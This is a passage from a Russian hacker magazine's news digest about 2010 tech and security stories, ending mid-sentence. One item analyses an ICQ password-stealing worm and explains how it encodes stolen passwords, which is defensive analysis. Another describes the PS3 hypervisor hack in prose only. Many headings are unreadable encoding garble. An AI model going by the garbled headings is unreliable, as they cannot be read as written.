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Месяц выдался богатым на разные истории, одна круче другой. Но выход нового паблик-сплоита под IE по 
определению затмевает любые другие истории. Тем более, что и тут нашлось место для шпионов, Китая и даже 
(каким-то наркоманским образом) компании Google. Впрочем, сам этот шпионский замес – не самая значимая 
часть произошедшего. 
Нам с тобой куда интереснее технические и практические аспекты бага, поразившего, с разным анамнезом, 
все последние версии IE. Тут мы засылаем тебе целебный луч светлых знаний и полный карт-бланш на 
изучение новой ошибки IE. И помогут тебе в этом все 144 страницы отборного контента из нового Х.

Приятного чтения!
nikitozz, ãë. ðåä. z

nikitoz@real.xakep.ru
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ÂÑÅ, ÍÅÒÓ ÁÎËÜØÅ 
SUN!

Долгое, очень долгое время рассматривала Евро-
комиссия материалы по сделке между компаниями 
Oracle и Sun Microsystems, неоднократно отклады-
вая вынесение решения. Долго думали европейские 
антимонополисты, и многое им не нравилось, и даже 
тот факт, что западные коллеги уже давно дали добро, 
их не убеждал. Смущение чиновников понятно, ведь в 
случае поглощения «Ораклом» компании Sun в одном 
месте сойдутся практически полная монополия на 
Java, серьезные hardware-мощности, мощнейшая 
БД, укомплектованная опциями на все случаи жизни, 
VirtualBox, Solaris ОС, MySQL и многое-многое другое. 
Но вот, после 9 месяцев споров, решение, наконец, 
было вынесено и оно, о чудо, положительное — 
Еврокомиссия разрешила сделку стоимостью $7.4 
миллиарда! Каковы будут последствия этого слияния, 
какое влияние оно окажет на рынок и как распорядят-
ся в Oracle новыми возможностями, покажет самое 
ближайшее будущее. Первые весточки уже имеются. 
Перед сдачей номера представители компании Oracle 
сообщили о своих намерениях прекратить развитие 
платформы для совместной разработки открытых 
проектов — Kenai (www.kenai.com). Сервис был создан 
компанией Sun в 2008 году и, получив немалую попу-
лярность среди разработчиков открытых приложений 
на языке Java, теперь, вероятно, будет закрыт. В перс-
пективе, правда, открытие нового проекта — удобного 
как для разработчиков Java, так и Oracle, но сам тренд 
печален. Остается только набрать в браузере http://
sun.com и, смахнув слезу, наблюдать, как страничку 
автоматически переадресовывает на oracle.com. Вот 
и нет больше легендарной Sun Microsystems, одной из 
ключевых компаний в истории IT.

393 ÒÎÐÐÅÍÒ-ÒÐÅÊÅÐÀ ÁÛËÈ ÇÀÊÐÛÒÛ Â 
2009 ÃÎÄÓ ÓÑÈËÈßÌÈ ÀÍÒÈÏÈÐÀÒÑÊÎÉ 
ÎÐÃÀÍÈÇÀÖÈÈ BREIN.

ÒÈÕÈÉ È ÓÌÍÛÉ «ÐÅÇÀÊ» ÎÒ LG
Компания LG выпустила новый пишу-
щий DVD-привод GH24 Super Multi. «Ре-
зак» с максимальной скоростью записи 
24х порадует сразу несколькими приятными 
особенностями, первая из которых — 
технология тихого воспроизведения 
Silent Play. Благодаря Silent Play девайс 
работает бесшумно, не жертвуя при 
этом производительностью системы. 
GH24 поставляет 2.400 Кб данных в 
секунду, производя только 32 децибела 
звука; для сравнения — почти так же 
тихо, как 30 децибелов фонового шума 
в типичной библиотеке. Это особенно 
важно, когда GH24 используется для 
того, чтобы слушать музыку или смотреть 
кино. Вторая приятная особенность — 
уникальная технология Jamless Play, 
которая автоматически предотвращает 

остановку воспроизведения видео в 
случае обнаружения на диске физичес-
ких дефектов, таких как царапины или 
отпечатки пальцев. Привод сам находит 
следующий неповрежденный фрагмент 
и перескакивает через ошибочные дан-
ные или поврежденные области всего за 
секунду или даже меньше. Также привод 
поддерживает технологию SecurDisc, 
обеспечивающую максимальную защиту 
конфиденциальных данных, а фир-
менная утилита LG iODD максимально 
упростит процесс установки девайса, 
и автоматически обновит информацию 
по рекомендованным скоростям записи 
через специализированный веб-сайт. 
Средняя цена на GH24 Super Multi 
составляет 1100 руб. 

Весьма достоверные слухи утверждают, что скоро нас ожидает пополнение в линейке 
скоростных накопителей на жестких магнитных дисках VelociRaptor от компании Western 
Digital. Моделей, судя по всему, будет две; ориентированы они будут на интерфейс SATA 
6 Гбит/с, скорость вращения шпинделя составит 10.000 об/мин, а объем кэша — 64 Мб. 
Так как младшая модель будет построена на одной пластине, ее объем составит 300 Гб; в 
свою очередь, вторая модель сможет похвастаться уже двумя пластинами и емкостью 600 
Гб. Предполагается, что старшая модель HDD будет стоить порядка $300. 

ÑÊÎÐÎÑÒÍÛÅ «ÂÈÍÒÛ» ÎÒ WD
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Google совсем недавно был атакован хакерами, 
и, как утверждают представители компании, 
сделано это было умышлено, хак был заказной, 
а следы его ведут в Китай. То есть, пока получа-
ется, что китайские хакеры сначала взломали 
почтовые аккаунты своих, местных, правоза-
щитников, используя для этого очередную дыр-
ку в IE6, а уже потом отправились крестовым 
походом на сам Google и сайты других компаний 
(Yahoo, Symantec, Adobe и т.д.). Ребята из Google 
в своем блоге (googleblog.blogspot.com) выра-
жают озабоченность цензурой поиска в Китае. А 
также желание обсуждать с властями Подне-
бесной возможность полноценной выдачи 
поисковых результатов, угрожая вовсе закрыть 
свое представительство. И атака хакеров — 
причина пересмотра сего бизнеса в Китае? 
Или, может быть, за 4 года, с тех пор, как был 
запущен Google.cn, стало ясно, что соперни-
чать с Baidu.com бессмысленно? :) Между тем, 
сообщение о критических ошибках в сплоите 

сильно всколыхнуло общественность. Подлил 
масла в огонь и тот факт, что Microsoft и вовсе 
сначала не собирался выпускать заплатку, 
собираясь исправить ошибку в ближайшем 
плановом обновлении. В результате, во Фран-
ции и Германии власти вообще рекомендовали 
гражданам отказаться от ненадежного браузе-
ра. В Microsoft, глядя на серьезность ситуации, 
экстренно выпустили патч, устраняющий, в 
целом, восемь уязвимостей в разных версиях 
IE и, в частности, затыкающий ту самую дырку, 
которой, как считается, воспользовались хит-
рые китайцы. Все подробности новой бреши в 
IE — в нашей теме номера. Любопытно, что на 
фоне шумихи не упустили своего и компании 
Opera Software и Mozilla. Они заявили, что 
скандал между Google и Китаем подогревает 
интерес к их продуктам — у обеих компаний 
наблюдается явный прирост популярности. На-
пример, в Opera уверяют, что их объем трафика 
вырос на 40% за 4 дня.

GOOGLE ÑÑÎÐÈÒÑß Ñ ÊÈÒÀÅÌ

Думаешь, ноутбуком-трансформером тебя уже не удивить? Тогда знакомь-
ся — новинка от Lenovo — IdeaPad U1 Hybrid, состоящий из полноценной 
док-станции и не менее полноценного планшетника. По сути, в «собран-
ном» виде два эти девайса составляют полноценный ноутбук неплохой 
мощности. Порознь мы имеем интернет-планшет на чипсете Qualcomm 
Snapdragon, с флеш-диском на 16 Гб, 512 Мб оперативной памяти, 
диагональю 11.6" (1366 х 768 пикселей) и поддержкой мультитач. А также 
док-станцию на базе Intel Core 2 Duo U4100 с тактовой частотой 1.3 ГГц, 4 
Гб DDR3 и твердотельным накопителем до 128 Гб. В то время как планшет 
работает под Skylight Linux, док-станция оснащена Windows 7. Bluetooth, 
3G и WiFi поддерживаются обеими секциями устройства, а планшет 
также щеголяет веб-камерой на 1.3 Мп. Время автономной работы обоих 
устройств будет достигать 8 часов. Продажи этой интересной и необычной 
штуки начнутся летом, и цена составит $999.

ÃÈÁÐÈÄ ÎÒ LENOVO

Â ÌÈÐÅ ÇÀÍßÒÎ ÓÆÅ 
ÏÎ×ÒÈ 90% ÀÄÐÅÑÎÂ 
ÈÍÒÅÐÍÅÒ-ÏÐÎÒÎÊÎËÀ 
IPV4.

В компании Twitter всерьез озаботились 
безопасностью пользователей. Раз уж 
юзеры сами не могут думать своей голо-
вой, придется думать за них, — видимо, 
решили в Twitter, и составили список из 
370 самых популярных слов и комбинаций, 
использующихся при создании аккаунта в 
Twitter в качестве пароля. Попали в black-
list сплошные банальности вроде «naked», 
«stupid», «twitter», «secret», «porsche», 
«ferrari» и даже «russia». Получившийся 
на выходе список попросту запретили — 
теперь при попытке задать пароль вроде 
«123456» или «password» система скажет 
вежливое «нет, так не пойдет» и предложит 
пользователю придумать что-нибудь пос-

ложнее. Впрочем, русские gfhjkm (слово 
«пароль» на латинской раскладке) и про-
чие наши банальности система по-прежне-
му не распознает.
Ранее разработчики уже внедрили механизм 
сканирования на наличие вредоносных кодов 
на третьих сайтах, ссылки на которые дают 
пользователи в своих твитах. Twitter ведет 
собственный «черный список» сайтов и доме-
нов, блокируя твиты с ссылками на сайты, 
содержащие активные malware-код. Ведь 
излюбленный прием для сбора трафика — 
отправить яркий твит с ссылкой на страницу 
со свежим сплоитом, составив содержание 
так, чтобы сообщение попало в «Наиболее 
популярные темы».

QWERTY — ÝÒÎ ÍÅ ÏÀÐÎËÜ
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ÕÀÊÅÐÛ «ÁÛÂØÈÌÈ» ÍÅ ÁÛÂÀÞÒ
Звезда мировой сцены Дмитрий 
Голубов aka Script, человек, при-
ложивший руку к созданию ле-
гендарного сайта carderplanet.
cc, названный западной прессой 
«крестным отцом кардерской 
мафии», ныне является главой 
интернет-партии Украины и 
вообще не любит, когда его на-
зывают «хакером». В свое время 
Script избежал «самого громкого 
разбирательства в истории 
Европы» (по мнению опять-таки 
западной прессы), благодаря 
тому, что за него поручились 
два народных депутата Украины 

Владимир Макеенко и Владимир 
Демехин. К политике Голубов 
не охладел по сей день, но и 
компьютерные хитрости ему все 
же не чужды: в ходе предвы-
борной кампании, развернув-
шейся в Украине, Голубов увел у 
кандидата в президенты Юлии 
Тимошенко домен kraina.org.
ua, где располагался ее проект 
«Ідеальну Країну». Именно 
этот адрес был опубликован на 
сотнях агитационных плакатов 
Тимошенко, именно по этому 
адресу она предлагала обра-
щаться, призывая людей помочь 

ей в развитии Украины. Однако 
проплата домена истекла, и ин-
тернет-партия быстро перекупи-
ла имя, никак не нарушив закон. 
Голубов комментирует ситуацию 
в свойственной ему манере: 
«Она сожгла душу 15.000 людей, 
которые ежедневно тратили свое 
время и вносили свои предло-
жения, в которых предлагали, 
как нужно строить государство. 
У сайта kraina.org.ua отличный 
PR и ТИЦ, этот сайт ежедневно 
посещает порядка 400-500 лю-
дей, что позволит нам не тратить 
время на его раскрутку».

MEGANEWS

Девайс по имени Nexus One от компании Google, который 
сама компания относит к категории «суперфонов», поступил 
в продажу, и хотя никакой революции не случилось, устройст-
во все равно достойно внимания. Аппарат выполнен на 
базе устройства тайваньской корпорации HTC, и его дизайн 
выгодно отличается от T-Mobile G1 — у Nexus One определен-
но есть свое «лицо». Что до технических характеристик, они 
выглядят следующим образом: дисплей 3.7" (AMOLED, 480 x 
800), к сожалению, пока без мультитача — проблемы не с ре-
ализацией, а с патентами; процессор Qualcomm Snapdragon 
3G QSD8250 1 ГГц; 512 Мб оперативной памяти, 512 Мб флэш-
памяти; карта памяти формата SD объемом 4 Гб (максимум 32 
Гб); батарея, стандартная для такого рода гаджетов — 1400 
мАч. Девайс работает под Android 2.1, поддерживает GSM/
EDGE (850, 900, 1800, 1900 МГц), Wi-Fi (802.11b/g/n), Bluetooth 
2.1 и другие беспроводные технологии, а также комплекту-
ется камерой на 5 Мп. Цифровой компас, акселерометр и 
AGPS-приемник «в комплекте». Цена аппарата оказалась 
выше многих прогнозов — Nexus One без контракта стоит 
$529.99. Продажи для Европы начнутся весной  и, кстати, 
в европейской версии мультитач, скорее всего, будет :). 
Правда, зачем ждать? Знаменитый взломщик операционных 
систем семейства Android, известный под ником Cyanogen, 
выпустил обновление для прошивки смартфона Nexus One 
(http://forum.xda-developers.com/showthread.php?t=621441), 
которое кардинальным образом расширяет его функци-
ональность, разблокируя мультитач. До этого хакер успел 
обновить прошивку с патченным ядром (iptables, поддержка 
USB, обновленный драйвер для WLAN), SSH (на базе демона 
Dropbear) и утилиты Nano, htop, powertop и busybox.

XÀÊÅÐ  03  /134/  10

ÐÎÑÑÈß — ËÈÄÅÐ ÏÎ ÎÁÚÅÌÓ ÒÐÀÔÈÊÀ, ÃÅÍÅÐÈÐÓÅÌÎÃÎ ÂÎ ÂÐÅÌß ÊÈÁÅÐÀÒÀÊ; 
13% ÒÐÀÔÀ ÍÀ ÍÀØÅÉ ÑÎÂÅÑÒÈ (ÏÎ ÄÀÍÍÛÌ ÊÎÌÏÀÍÈÈ AKAMAI).

ÑÎÃËÀÑÍÎ ÄÀÍÍÛÌ LINUX FOUNDATION, ÇÀ ÏÎÑËÅÄÍÈÅ 5 ËÅÒ ÂÀÊÀÍÑÈÉ ÄËß 
LINUX-ÑÏÅÖÈÀËÈÑÒÎÂ ÑÒÀËÎ ÁÎËÜØÅ ÍÀ 80%.

Â ÑÏÈÑÊÀÕ ÑÀÌÛÕ «ÁÎËÅÞÙÈÕ» ÊÈÁÅÐ-
ÍÅÄÓÃÀÌÈ ÑÒÐÀÍ ÐÎÑÑÈß ÇÀÍßËÀ 2 ÌÅÑÒÎ 
— ÒÀÊÈÅ ÄÀÍÍÛÅ ÏÐÈÂÎÄßÒÑß Â ÅÆÅÃÎÄÍÎÌ 
ÎÒ×ÅÒÅ PANDALABS.
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ÏÎÈÑÊÎÂÀß ÌÇÄÀ
Правообладатели и их лобби — страшная сила, и эта сила бушует в Европе 
вовсю. Стало известно, что власти Франции всерьез рассматривают воз-
можность введения налога на использование поисковиков, то есть Google, 
Bing, Yahoo, MSN, а также на поиск по крупным социальным сетям. Средства, 
собранные таким образом, планируют переправлять в фонды помощи пред-
ставителям творческих профессий, которые в наш суровый век страдают от 
сетевого пиратства — писателям, художникам и, конечно же, самым бедным 
и несчастным — музыкантам. Платить этот налог, правда, должны будут не 
юзеры, а сами поисковые гиганты — правительство предполагает подать все 
это в виде налога на рекламу, то есть, вычитаться он будет с каждого клика 
по рекламной ссылке или баннеру. Уже было подсчитано, что это теорети-
ческое нововведение способно приносить Франции по 10-20 млн. евро в год. 
Представители Гугл-Европа уже высказались об этой инициативе француз-
ских властей неодобрительно, заявив, что они «тормозят прогресс». Мы бы 
высказались иначе —  власти опять пихают прогрессу в колеса арматуру, а 
также ищут деньги в чужом кармане. 

В прошлом у экс-главы Microsoft уже был опыт 
общения с социальными сетями и, видимо, 
тогда они ему не слишком понравились. Еще в 
2007 году, когда «мелкомягкие» вложили $240 
млн. в Facebook, почти одновременно с этим в 
сверхпопулярной сети появился аккаунт Билла 
Гейста, который, впрочем, просуществовал 
совсем недолго. Из-за нездорового ажиотажа и 
внимания, которое привлекал его профиль, Гейтс 
был вынужден покинуть Facebook еще в феврале 
2008. Но прошло время и Билли, похоже, решил 

дать социальным сетям еще один шанс — он не 
только вернулся на Facebook, но и создал учет-
ную запись в Twitter (twitter.com/BillGates). Пер-
вый твит Гейтса, с которого он начал знакомство 
с сервисом, начался со слов «Hello World». В 
фоловеры к Биллу записалось уже больше 380 
тыс. человек. В одном из последних твитов Билл 
рассказывает, что его фонд потратит 10 милли-
ардов долларов на детские вакцины. Интересно, 
заработала ли в России Microsoft столько денег 
за все 17 лет существования?

ÁÈËË ÃÅÉÒÑ ÂÅÐÍÓËÑß Â ÑÎÖÈÀËÜÍÛÅ ÑÅÒÈ

MEGANEWS

$1337 ÌÎÆÍÎ ÏÎËÓ×ÈÒÜ ÎÒ GOOGLE, ÎÒÛÑÊÀÂ 
Â CHROME ÑÅÐÜÅÇÍÓÞ ÓßÇÂÈÌÎÑÒÜ.

Пока Sun и Oracle радуются, совершая многомиллиардную сделку, таким положением вещей здо-
рово недоволен один человек — Майкл Видениус, основной автор оригинальной версии MySQL. 
Видениус до последнего призывал Еврокомиссию одуматься и защитить его детище, которое он, 
напомним, продал компании Sun в январе 2008 года, а после активно принимал участие в проекте 
и заработал на продажах MySQL миллионы. Однако что-то пошло не так, и в 2009 Видениус 
уволился из Sun, собираясь открыть собственный бизнес, но вместо этого, в том же 2009, начал 
холивар против Sun и Oracle. Сейчас Майкл опасается, что сразу после слияния Oracle сделает 
страшное — прекратит развитие его детища, практически убив MySQL, закроет код, поднимет 
цены на поддержку и так далее. Видениус даже основал сайт helpmysql.org, где собрал более 30 
тыс. подписей в защиту MySQL, но Еврокомиссия все же разрешила сделку. Посокрушавшись и 
дав очень нелестные комментарии в адрес антимонопольщиков прессе, Видениус, однако, не 
сдался — теперь он просит помощи у России и Китая, как у «двух сильных, независимых стран, 
которые все еще могут изменить ситуацию». Он призывает обращаться в ФАС, писать о MySQL 
в прессе и давить на все возможные рычаги. Опасения можно понять. Oracle не поскупилась на 
рекламный блок в европейской редакции Wall Street Journal, пообещав тратить на разработку 
SPARС и Solaris больше денег, чем Sun, но по поводу MySQL никаких обещаний и намеков не 
было.

ÑÂÎÁÎÄÓ ÏÎÏÓÃÀßÌ MYSQL!
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Разбирательство по делу Аль-
берта Гонсалеса aka segvec aka 
soupnazi aka j4guar17, самого 
«успешного» кардера в истории 
США, идет полным ходом. На-
помним, что арестовали Гонса-
леса еще в 2008 году, и тогда ему 
было предъявлено 19 обвине-
ний, в числе которых и кибермо-
шенничество и хищение личных 
данных при отягчающих обсто-
ятельствах, и много еще чего. 
Сейчас, когда кардеру грозит от 

15 до 25 лет лишения свободы 
и огромный штраф, все еще 
продолжают выясняться новые 
подробности. Так, например, 
Гонсалес наконец признал себя 
виновным в хищении 170 млн. 
номеров кредитных и дебетовых 
карт, хотя исходно речь шла о 
130 миллионах. Также защит-
ники хакера всячески упирают 
на то, что Гонсалес занимался 
киберкриминалом будучи не 
совсем в себе — утверждается, 
что он много лет употреблял ма-
рихуану, LSD, кетамин, кокаин 
и галлюциногенные грибы, и 
преступления совершал под 
влиянием перечисленных 
веществ. Психиатр, нанятый 
кардером, и вовсе поставил ему 
диагноз — синдром Аспергера, 
то есть высокофункциональный 
аутизм. Страшно подумать, 
что еще «найдут» у Гонсалеса, 
и как он вообще со всем этим 
выжил :).

ÑÂÈÍÎÉ ÃÐÈÏÏ ÄÎÁÐÀËÑß 
ÄÎ ÀÑÜÊÈ
Вирусы на глазах становятся хитрее, умнее и интерактивнее, и, пока 
полрунета, нахватавшись порно-заразы, воет от вирусов-шантажистов, 
требующих для разблокировки ОС отправить SMS на короткий номер, 
другую половину порой даже сложно обвинять в глупости, фыркая 
«сами дураки». Яркий пример к сказанному — эпидемия, обрушивша-
яся на ICQ в конце января. Вирус Piggy.zip или H1N1 не просто угонял 
пароли и рассылал себя по всему контакт-листу, но при этом еще вполне 
адекватно общался с подозрительными юзерами. На вопросы вроде 
«а там не вирус\троян?» вирус отвечал: «нет, это флешка про свинью, 
глянь :)», а на резонное «ты бот?» весьма бодро обзывал спрашиваю-
щего в духе «сам ты бот!». В итоге, на провокацию попались тысячи лю-
дей. Еще одна интересная черта H1N1 заключается в том, что, сменив в 
ICQ пароль, хитрый малварь записывает новый пароль в зашифрован-
ном виде прямо в графу «О себе».
Вирус имеет имя Piggy.exe, размер 1,95 Мб (целый троянище!). Файл 
ничем не закриптован и написан на Delphi, что несложно выяснить с 
помощью PEiD. Посмотрев секцию данных, увидим, что все текстовые 
строки автор вируса закодировал неизвестным алгоритмом, который 
нам удалось быстро «расколоть». После длительных трассировок 
вируса в OllyDbg был найден адрес алгоритма декодирования тексто-
вых строк — 004A60AC. Проанализировав участок кода, поймешь и сам 
алгоритм :). Вся строчка, состоящая из нолей и единичек, разбивается 
на блоки по 5 цифр (4 бинарных бита + бит-флаг). Затем каждый подблок 
из 4-х цифр преобразовывается из двоичной системы в десятичную и 
соединяется с результатом преобразования для предыдущего блока, а 
результат записывается в буфер. Эти действия повторяются до тех пор, 
пока флаг равен единице. Как только флаг оказывался равен нулю, текст 
из буфера переводился в шестнадцатеричную систему — получается 
символ пароля. Допустим, была строчка: 000110001101010000110001… 
Она разделилась на блоки: 0001 1 0001 1 0101 0 0001 1 0001… Далее 
каждый блок из 4-х чисел преобразовывался из двоичной системы в 
десятичную (0001b => 1, 0001b => 1, 0101b => 5), причем полученные циф-
ры записываются как одно число, а результат далее преобразовывается 
в шестнадцатеричную систему (115d = 73h = «s»).
Впрочем, для восстановления пароля возиться необязательно. Под-
смотрев закодированный пароль на сайте icq.com/people/номер_уг-
нанной_аськи, составляем HTTP-запрос http://uasc.org.ua/Piggy.
php?с=<нолики и единички> и получаем новый пароль. Скрипт для 
преобразования decoder.php ты найдешь на диске, его, как и описание 
вируса, подготовил  eLwaux (uasc.org.ua). К слову, это не первый вирус, 
который умеет разговаривать по мессенджеру. Еще в 2005 году был 
замечен червь IM.Myspace04.AIM, который аналогично отшучивался 
в ответ на предположения о том, что он вирус («lol no its not its a virus», 
говорил он). А в 2007 году прославился российский бот, который выма-
нивал деньги с помощью разговоров о сексе.

ÃÀËËÞÖÈÍÎÃÅÍÍÛÉ 
ÕÀÊÈÍÃ

MEGANEWS

В конце января у экипажа МКС появился повод для радости — 22 числа космонавты 
лично написали первый в истории человечества твит с орбиты и получили возможность 
прямого выхода в интернет. Раньше экипаж тоже контактировал со всемирной паутиной, 
оставляя сообщения в Twitter или общаясь с близкими с помощью IP-телефонии, но 
делать это приходилось через посредников, то есть через ЦУП в Хьюстоне. Теперь же, 
благодаря  Тимоти Кримеру, который больше месяца занимался на МКС этим вопросом, 
космонавтам для выхода в Сеть потребуется только ноутбук. Связь по-прежнему идет 
через Хьюстон, но теперь ее обеспечивает специальный сервер, подключенный к все-
мирной паутине. Интернет для экипажа МКС полностью открыт, но в ЦУПе напоминают, 
что космонавты такие же сотрудники НАСА, как и все остальные, и если они будут сидеть в 
интернете в ущерб работе, их ждут проблемы с начальством.   

ÈÍÒÅÐÍÅÒ ÍÀ ÎÐÁÈÒÅ

XÀÊÅÐ  03  /134/  10
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ÏÎ×ÒÈ ÊÀÊ ÆÈÂÛÅ
Клавиатура и мышка ErgoMotion от компании Smartfish 
Technologies лишний раз доказывают, что нет предела совер-
шенству. Обе девайса изначально проектировались для меди-
цинских. Главная особенность обоих устройств — подвижность. 
Клавиатура будет сама анализировать скорость печати и другие 
особенности работы пользователя и, исходя из этих наблюдений, 
сможет плавно подстраиваться под руки, снижая утомляемость и 
нагрузку. Киборд имеет 7 позиций, может изменять угла наклона 
и взаимного расположения частей. Идеальным дополнением к 
этому привету из будущего является мышка, оснащенная плавно 
движущимся поворотным механизмом, с помощью которого 
«грызуна» можно наклонять практически как угодно. Оба девай-
са подключаются к компьютеру через USB. Продажи устройств 
начнутся весной, цена клавиатуры составит гуманные $150, цена 
мышки тоже не кусается — $50.    

Это назревало давно, и вот, наконец, передача 
изображения без проводов почти добралась до 
потребительского рынка, замерев буквально в 
полушаге от начала продаж. Первую ласточку на 
волю отпустили компании Intel и Netgear, проде-
монстрировав на выставке CES 2010 технологию 
Intel Wireless Display, передающую изображение 
разрешением до 720p посредством обыкно-
венного Wi-Fi. Для работы Intel WiDi не нужно ни-
чего, кроме специального приемника и ноутбука 
(специально разработаны модели от Sony, Dell 
и Toshiba, работающие на базе Intel Core i3, i5 и 
i7), который по нажатию хоткея подключается к 
удаленному экрану, выводя на него картинку. Как 
было сказано выше, изображение передается 
по стандарту 802.11n, а сжатие картинки ложится 
на плечи процессора ноута, с которого идет 
передача. Да, картина пока неидеальна — 
нет поддержки HDCP (технологии защиты 
медиаконтента), нет Full-HD, но все это обещают 
совсем скоро, равно как и более широкий 
перечень моделей ноутбуков, поддерживающих 
WiDi. В продаже это счастье должно появиться 
уже в конце января. 

ÁÅÑÏÐÎÂÎÄÍÛÅ ÌÎÍÈÒÎÐÛ ÓÆÅ ÁËÈÇÊÎ

8199,5 ÌÃÖ — ÄÎ ÒÀÊÎÉ ÐÅÊÎÐÄÍÎÉ ×ÀÑÒÎÒÛ ÓÄÀËÎÑÜ ÐÀÇÎÃÍÀÒÜ ÏÐÎÖÅÑÑÎÐ 
INTEL CELERON 347 (3,06 ÃÃÖ) ÓÊÐÀÈÍÑÊÎÌÓ ÎÂÅÐÊËÎÊÅÐÓ TIN.

ÇÍÀÊÎÂÀß ÄÀÒÀ Â ÈÑÒÎÐÈÈ AMAZON: 25 ÄÅÊÀÁÐß 2009 ÂÏÅÐÂÛÅ ÇÀ 
ÂÑÞ ÈÑÒÎÐÈÞ ÏÐÎÄÀÆÈ ÝËÅÊÒÐÎÍÍÛÕ ÊÍÈÃ ÏÐÅÂÛÑÈËÈ ÏÐÎÄÀÆÈ ÊÍÈÃ 
ÁÓÌÀÆÍÛÕ.
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Вот и пришел конец слухам и домыслам, которые весь 
последний год активно циркулировали вокруг новой 
разработки компании Apple — планшетный ПК, полу-
чивший имя iPad, наконец, был  представлен публике. 
Итак, таблетка от Apple являет собой следующее: 
LED-дисплей 9.7" с разрешением 1024 х 768 и, конеч-
но, с поддержкой Multi-Touch; процессор Apple A4  с 
тактовой  частотой 1 ГГц; от 16 до 64 Гб флэш-памяти. 

Базируется девайс на iPhone OS 3.2, которая, кстати, 
несовместима с обычными iPhone и iPod touch, однако 
функционал ОСь обеспечивает  примерно такой же. 
О беспроводных коммуникациях в Apple, разумеется, 
тоже подумали — младшая модель планшетника осна-
щается WiFi и Bluetooth, а старшие модели несут в себе 
поддержку 3G-сетей. Батареи iPad, по словам Стива 
Джобса, должно хватать на 10 часов активной работы 

без подзарядки. Помимо 
перечисленного, добавим 
сюда GPS, акселерометр, 
датчик освещенности, 
встроенный динамик и 

выход на наушники. Еще один офигенный плюс — это 
книжный онлайн-магазин iBookstore, специально 
заточенный для планшета. А теперь о том, чего в iPad 
нет: нет камеры, ни фронтальной, ни какой-либо еще, 
так что о Skype и фото можно забыть; уже традиционно 
нет поддержки Flash, что для интернет-планшета, 
мягко говоря, странно; нет USB-порта; для этого нужен 
переходник, который, правда, поставляется в комплек-
те. Габариты устройства (ШхВхГ) 242.8 х 189.7 х 13.4, 
вес 680 или 733 грамма, в зависимости от модели. С 
ценами ситуация следующая — модель iPad Wi-Fi стоит 
от $500 до $700, в зависимости от емкости, модель iPad 
Wi-Fi+3G от $600 до $800.

Хакер GeoHot, известный своим неоценимым вкладом 
в jailbreak айфонов, не просто рассказал об успешном 
взломе Playstation 3, но и поделился со всеми рабочим 
сплоитом. Таким образом он желает подогреть сцену 
разработки для PS3, и, в конечном итоге, увидеть софт 
для полноценной взломанной консоли. В результате 
работы, на которую было потрачено 3 года, 2 месяца и 
11 дней, хакер добился получения полного доступа к 
системной памяти и процессору, что до этого не удава-
лось никому. Дело в том, что PS3, так же, как и Xbox360, 
зависят от специального гипервизора, встроенного в 

консолях для безопасности. В отличие от Xbox’а, на PS3 
можно установить обычный Linux, но тот будет запущен, 
опять же, под контролем гипервизора, накладывая 
ограничения для ядра Linux кернел. Что делает слоит? 
Он отчасти нейтрализует гипервизор, предоставляя 
полный доступ к записи/чтению оперативной памяти 
и ring0, а также возможность сдампить гипервизор. 
К счастью для Sony, гипервизор — не единственная 
проблема на пути к запуску пиратских игр. Каждая 
игрушка защищена с помощью ключа, который 
хранится на специальной области диска ROM Mark. 

Прошивка привода считывает этот ключ и снабжает им 
гипервизор, чтобы тот имел возможность дешифровать 
данные игры во время загрузки. Поэтому для запуска 
игр гипервизору нужны ключи для каждой из игр — и 
это не единственная сложность. В любом случае, такой 
сплоит — серьезный шаг в этом направлении. Отметим, 
что для взлома не требуется никакого вмешательства 
в железо — не нужно устанавливать мод-чипы, как 
это было с PS2. Достаточно установить на PS3 Linux и 
запустить сплоит.

ÒÀÊ ÂÎÒ ÒÛ ÊÀÊÎÉ, IPAD

ÂÇËÎÌ PS3

MEGANEWS

ÈÑÑËÅÄÎÂÀÒÅËÜÑÊÀß ÊÎÌÏÀÍÈß NETCRAFT ÑÎÎÁÙÀÅÒ, ×ÒÎ ÍÀ 1 ÄÅÊÀÁÐß 
2009 ÃÎÄÀ Â ÈÍÒÅÐÍÅÒÅ ÍÀÑ×ÈÒÛÂÀËÎÑÜ 233.848.493 ÑÀÉÒÎÂ. 
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ÌÎÐÎÇÛ ÊÐÅÏ×ÀÞÒ: Ó ÑÁÅÐÁÀÍÊÀ 
ÇÀÌÅÐÇÀË ÊÀÆÄÛÉ 44-É 
ÁÀÍÊÎÌÀÒ.
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Судебные дела в отношении «мелкомяг-
ких» ни для кого уже, в общем-то, не новость 
— Microsoft постоянно с кем-то судится, и 
желающих ответить компании тем же предоста-
точно. Недавно в копилку Microsoft добавился 
очередной проигранный процесс, притом 
очень неприятного характера — суд запре-
тил компании продавать Office 2003 и 2007, 
и его требование пришлось исполнять — из 
онлайнового магазина компании были убраны 
все «криминальные» версии «Офиса». Из-за 
чего разгорелся сыр-бор? Из-за патента на 
технологию, предназначенную для измене-
ния структуры документа, права на которую 
принадлежат канадской компании i4i. Ранее 
эти функции гармонично дополняли текстовый 
процессор Word, а после того как Microsoft 
интегрировали в Word 2003 свою аналогичную 
разработку Custom XML, i4i остались не у дел. 
Разбирательство длилось с 2007 года, и в итоге 
суд приговорил Microsoft не только к штрафу 
в $290 млн., но и обязал софтверного гиганта 
снять с продажи все «криминальные» версии 
Office, что и было проделано. Microsoft, конеч-
но, уже подали на апелляцию, притом во второй 
раз — первую апелляцию суд отклонил, но 
пока в компании могут лишь развести руками 
и предложить покупателям скачать бету Office 
2010, в которой злосчастной функции уже нет. 
Из Word 2007 и Office 2007 Custom XML так же 
пообещали убрать в самое ближайшее время.  

ÍÎÂÛÉ ÏÐÎÈÃÐÛØ 
MICROSOFT

ÏÀÍÈÊÎÂÀÒÜ ÂÑÅ ÅÙÅ ÐÀÍÎ?
Любопытная и неоднозначная новость при-
шла от компании Google, в последние годы 
сместившей Microsoft с «поста» Оси Зла — об-
ластей, неохваченных «Гуглом», и так остается 
все меньше, а теперь гигант решил податься 
еще и на энергетический рынок. Филиал 
Google Energy подал заявку в Федеральную 
комиссию по регулированию энергетики США 
на получение лицензии для работы в энер-
гетическом бизнесе, и, если заявку одобрят, 
у Google в числе прочего, будет возможность 
заниматься торговлей электроэнергией. В 
самом «Гугле», впрочем, успокаивают, заяв-
ляя, что торговля в их планы совсем не входит, 
просто компания не прочь оптимизировать в 
целях экономии собственные энергоресурсы, 
а также заняться исследованиями в областях 
альтернативной и возобновляемой энерге-
тики. Представители ФКЭР, в свою очередь, 
сообщают, что никаких поводов для отказа 
Google не видят, ведь поисковый гигант не 
владеет ни собственными электростанциями, 
